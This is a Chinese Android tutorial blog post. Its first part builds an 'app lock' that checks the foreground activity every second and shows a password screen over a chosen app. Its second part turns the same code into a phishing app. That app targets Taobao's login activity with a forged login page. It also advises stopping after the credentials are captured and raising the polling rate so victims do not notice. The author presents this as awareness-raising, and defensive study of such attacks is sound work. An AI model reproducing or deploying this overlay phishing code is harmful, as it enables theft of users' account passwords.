android 程序鎖

一、程序鎖

導讀:本文介紹如何實現對應用加鎖的功能,無須root權限

某些人有時候會有這樣一種需求,小A下載了個軟件,只是軟件中的美女過於誘惑與暴露,所以他不想讓別人知道這是個什麼軟件,起碼不想讓別人打開瀏覽。而這款軟件又沒有鎖,任何人都可以打開,腫麼辦呢?如果打開它的時候需要輸入密碼,那該多好阿!於是,程序鎖這種應用就產生了


程序鎖不是最近纔有的,很久之前android就有這種apk了

這一期我們來苛刻如何實現程序加鎖功能

首先,我們先明確一下我們要做的程序具有什麼功能

1可以選擇需要加鎖的程序

2可以設置密碼

3可以關閉程序鎖

這裏作爲演示,我們就儘量簡化代碼

我們先說最關鍵的部分

最關鍵的地方在於:當用戶打開一個應用的時候,怎麼彈出密碼頁面?

這裏沒有什麼太好的辦法,需要掃描task中的topActivity

首先,我們先獲得運行的task

 

[java] view plaincopy
  1. mActivityManager (ActivityManager) context.getSystemService("activity");  
  2. //mActivityManager.getRunningTasks(1);//List  

 

getRunningTasks方法返回一個List,我們來看看這個List是什麼

getRunningTasks 寫道

 

[plain] view plaincopy
  1. Return list of the tasks that are currently running, with the most recent being first and older ones after in order.  
  2. ……   
返回的List是有序的,第一個是最近的,所以我們取出第一個即可,然後得到此task中的最上層的Activity
[java] view plaincopy
  1. ComponentName topActivity mActivityManager.getRunningTasks(1).get(0).topActivity;  
topActivity居然是ComponentName類型,下面的事情就好辦了,獲得包名和類名
[java] view plaincopy
  1. ComponentName topActivity mActivityManager.getRunningTasks(1).get(0).topActivity;  
  2. String packageName topActivity.getPackageName();  
  3. String className topActivity.getClassName();  
  4. Log.v(TAG, "packageName" packageName);  
  5. Log.v(TAG, "className" className);  
  6.   
  7. if (testPackageName.equals(packageName)  
  8.         && testClassName.equals(className))  
  9.     Intent intent new Intent();  
  10.     intent.setClassName("com.example.locktest""com.example.locktest.PasswordActivity");  
  11.     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  12.     mContext.startActivity(intent);  
  13.  
由於我沒有選擇程序這一步,所以我就固定一個應用做測試,這裏選擇的是htc的note應用
[java] view plaincopy
  1. String testPackageName "com.htc.notes" 
  2. String testClassName "com.htc.notes.collection.NotesGridViewActivity" 

 

下面我們該想,這段代碼何時執行了

打開一個應用程序,系統不會發送廣播,我們無法直接監聽,所以這裏我們採取定時掃描的策略

這裏只是一個簡單的實現,之後我們再討論優化

我們採取每秒中檢查一次task的方式,這裏使用Timer吧,用Handler也一樣可以實現

[java] view plaincopy
  1. private Timer mTimer;  
  2. private void startTimer()  
  3.     if (mTimer == null 
  4.         mTimer new Timer();  
  5.         LockTask lockTask new LockTask(this);  
  6.         mTimer.schedule(lockTask, 0L, 1000L);  
  7.      
  8.  

到這裏,其實我們的關鍵代碼就已經完成了

下面貼出完整帶代碼,注意:我們只關注彈出鎖界面這部分,其他部分自行實現(比如文章末尾提到的)

Task,負責檢查task,並在適當的時候彈出密碼頁面

[java] view plaincopy
  1. public class LockTask extends TimerTask  
  2.     public static final String TAG "LockTask" 
  3.     private Context mContext;  
  4.     String testPackageName "com.htc.notes" 
  5.     String testClassName "com.htc.notes.collection.NotesGridViewActivity" 
  6.   
  7.     private ActivityManager mActivityManager;  
  8.   
  9.     public LockTask(Context context)  
  10.         mContext context;  
  11.         mActivityManager (ActivityManager) context.getSystemService("activity");  
  12.      
  13.   
  14.     @Override  
  15.     public void run()  
  16.         ComponentName topActivity mActivityManager.getRunningTasks(1).get(0).topActivity;  
  17.         String packageName topActivity.getPackageName();  
  18.         String className topActivity.getClassName();  
  19.         Log.v(TAG, "packageName" packageName);  
  20.         Log.v(TAG, "className" className);  
  21.   
  22.         if (testPackageName.equals(packageName)  
  23.                 && testClassName.equals(className))  
  24.             Intent intent new Intent();  
  25.             intent.setClassName("com.example.locktest""com.example.locktest.PasswordActivity");  
  26.             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  27.             mContext.startActivity(intent);  
  28.          
  29.      
  30.  
LockService,負責執行定時任務,取消任務等
[java] view plaincopy
  1. public class LockService extends Service  
  2.     private Timer mTimer;  
  3.     public static final int FOREGROUND_ID 0 
  4.   
  5.     private void startTimer()  
  6.         if (mTimer == null 
  7.             mTimer new Timer();  
  8.             LockTask lockTask new LockTask(this);  
  9.             mTimer.schedule(lockTask, 0L, 1000L);  
  10.          
  11.      
  12.   
  13.     public IBinder onBind(Intent intent)  
  14.         return null 
  15.      
  16.   
  17.     public void onCreate()  
  18.         super.onCreate();  
  19.         startForeground(FOREGROUND_ID, new Notification());  
  20.      
  21.   
  22.     public int onStartCommand(Intent intent, int flags, int startId)  
  23.         startTimer();  
  24.         return super.onStartCommand(intent, flags, startId);  
  25.      
  26.   
  27.     public void onDestroy()  
  28.         stopForeground(true);  
  29.         mTimer.cancel();  
  30.         mTimer.purge();  
  31.         mTimer null 
  32.         super.onDestroy();  
  33.      
  34.  
MainActivity,測試用,作爲應用入口,啓動service(產品中,我們可以在receiver中啓動service)。
[java] view plaincopy
  1. public class MainActivity extends Activity  
  2.   
  3.     public void onCreate(Bundle savedInstanceState){  
  4.         super.onCreate(savedInstanceState);  
  5.         startService(new Intent(thisLockService.class));  
  6.      
  7.  

PasswordActivity,密碼頁面,很粗糙,沒有核對密碼邏輯,自行實現

記得重寫onBackPressed函數,不然按返回鍵的時候……你懂的

[java] view plaincopy
  1. public class PasswordActivity extends Activity  
  2.   
  3.     private static final String TAG "PasswordActivity" 
  4.     Button okButton;  
  5.     EditText passwordEditText;  
  6.     private boolean mFinish false 
  7.       
  8.     @Override  
  9.     protected void onCreate(Bundle savedInstanceState)  
  10.         super.onCreate(savedInstanceState);  
  11.         setContentView(R.layout.password);  
  12.         passwordEditText (EditText) findViewById(R.id.password);  
  13.          okButton (Button) findViewById(R.id.ok);  
  14.          okButton.setOnClickListener(new View.OnClickListener()  
  15.             public void onClick(View v)  
  16.                 String password passwordEditText.getText().toString();  
  17.                 Log.v(TAG, "password" password);  
  18.                 mFinish true 
  19.                 finish();  
  20.              
  21.         });  
  22.      
  23.   
  24.     public void onBackPressed(){}  
  25.       
  26.     public void onPause(){  
  27.         super.onPause();  
  28.         if(!mFinish){  
  29.             finish();  
  30.          
  31.      
  32.  
xml這裏就不貼了,記得添加權限
[html] view plaincopy
  1. <</span>uses-permission android:name="android.permission.GET_TASKS"/>  

關於程序的其他部分,這裏只做簡要說明

選擇應用對其進行加鎖部分

1列出系統中所有程序(你也可以自由發揮,比如過濾掉原始應用)

2選擇,然後存入數據庫(當然,最好也有取消功能,記得從數據庫中刪除數據)

程序鎖總開關

可以使用sharedPreference,設置一個boolean開關



現在,當我想要打開htc的note應用的時候,就會彈出密碼頁面當我解鎖,按home會回到桌面,長按home,點擊note,還是會彈出密碼框

因爲是每秒檢查一次,所以可能會有一點點延遲,你可以設置爲500毫秒,但是越頻繁,佔用資源就越多


上面的代碼我取得topActivity後檢查了其包名行和類名,所以只有當打開指定的頁面的時候,纔會彈出密碼鎖

比如我對Gallery應用加密了,但是用戶正在編輯短信,這時候它想發彩信,於是他通過短信進入到了Gallery……

對於某些用戶的某些需求來說,這是不能容忍的,這時,我們只需簡單修改下判斷邏輯即可:只檢查包名,包名一致就彈出密碼鎖,這樣就完美了


程序鎖我就分析到這裏

最後一句

當使用程序鎖的時候,你長按home,發現程序鎖也出現在“最近的任務”中,腫麼辦……給此activity設置android:excludeFromRecents="true"即可

二、釣魚程序

 

導讀:文本介紹一種釣魚應用,講述如何騙取用戶的用戶名和密碼,無須root

這個話題是繼續android安全問題(二) 程序鎖延伸的


之前我已經展示瞭如何製作程序鎖。當打開指定應用的時候,彈出一個密碼頁面。

程序鎖的話題雖然是和安全相關,但是這應該屬於防範的範圍,如果被人惡意利用,那麼後果……

這期我來揭示一下一種釣魚程序的原理,希望廣大用戶不要上當受騙,最主要的是:希望大家意識到安全問

之前我用定時掃描activity的方法來檢查打開的頁面是不是我們所需要的頁面

[java] view plaincopy
  1. ComponentName topActivity mActivityManager.getRunningTasks(1).get(0).topActivity;  
如何用於釣魚呢?比如我打開了淘寶,然後想登錄,查看一下我淘寶,這時候會打開下面這個頁面

 

從log中我們能得到其包和類的信息

log 寫道
[plain] view plaincopy
  1. 10-17 10:02:14.698: I/ActivityManager(246): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms  

恩,這就好辦了,下面我只需改三處,程序鎖這個應用就會變成調用應用

第一個修改很簡單,修改我們監聽的包名和類名即可

[java] view plaincopy
  1. String testPackageName "com.taobao.taobao" 
  2. String testClassName "com.taobao.tao.LoginActivity" 
完整代碼
[java] view plaincopy
  1. public class LockTask extends TimerTask  
  2.     public static final String TAG "LockTask" 
  3.     private Context mContext;  
  4.     String testPackageName "com.taobao.taobao" 
  5.     String testClassName "com.taobao.tao.LoginActivity" 
  6.   
  7.     private ActivityManager mActivityManager;  
  8.   
  9.     public LockTask(Context context)  
  10.         mContext context;  
  11.         mActivityManager (ActivityManager) context.getSystemService("activity");  
  12.      
  13.   
  14.     @Override  
  15.     public void run()  
  16.         ComponentName topActivity mActivityManager.getRunningTasks(1).get(0).topActivity;  
  17.         String packageName topActivity.getPackageName();  
  18.         String className topActivity.getClassName();  
  19.         Log.v(TAG, "packageName" packageName);  
  20.         Log.v(TAG, "className" className);  
  21.   
  22.         if (testPackageName.equals(packageName)  
  23.                 && testClassName.equals(className))  
  24.             Intent intent new Intent();  
  25.             intent.setClassName("com.example.locktest""com.example.locktest.PasswordActivity");  
  26.             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  27.             mContext.startActivity(intent);  
  28.          
  29.      
  30.  

第二個修改有些技術含量,可能會需要一個專業的美工,來仿造一個淘寶的登錄頁面,就如上圖所示的那樣

最後一個修改,當病毒獲取了用戶名和密碼之後,就不要再繼續監聽了,不然次數多了肯定會被發現


爲了儘量不讓用戶察覺,可以把頻率調高一些,比如500ms檢查一次,這樣用戶就很難察覺了

測試項目完整源碼見這裏,代碼是以android4.0爲基礎寫的(當然,我的釣魚頁面是簡陋的,只是用於演示)

(由於csdn只允許傳圖片,還得勞煩大家去我iteye的blog下載。。。汗阿)


無論是程序鎖還是釣魚程序,他們可能都擔心耗電問題,因爲耗電過多也會引起用戶的注意

我們可以降低檢查頻率(當然,釣魚程序是不會這麼幹的)

我們可以監控屏幕狀態,當屏幕關閉的時候,我們可以停止監聽,這時候也沒有必要監聽,當點亮的時候我們再監聽

如何監聽屏幕狀態?

[html] view plaincopy
  1. <</span>receiver android:name=".ScreenListenerReceiver">  
  2.     <</span>intent-filter>      
  3.         <</span>action android:name="android.intent.action.SCREEN_OFF"/>  
  4.         <</span>action android:name="android.intent.action.SCREEN_ON"/>  
  5.     </</span>intent-filter>  
  6. </</span>receiver>  
文章不錯 保存 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章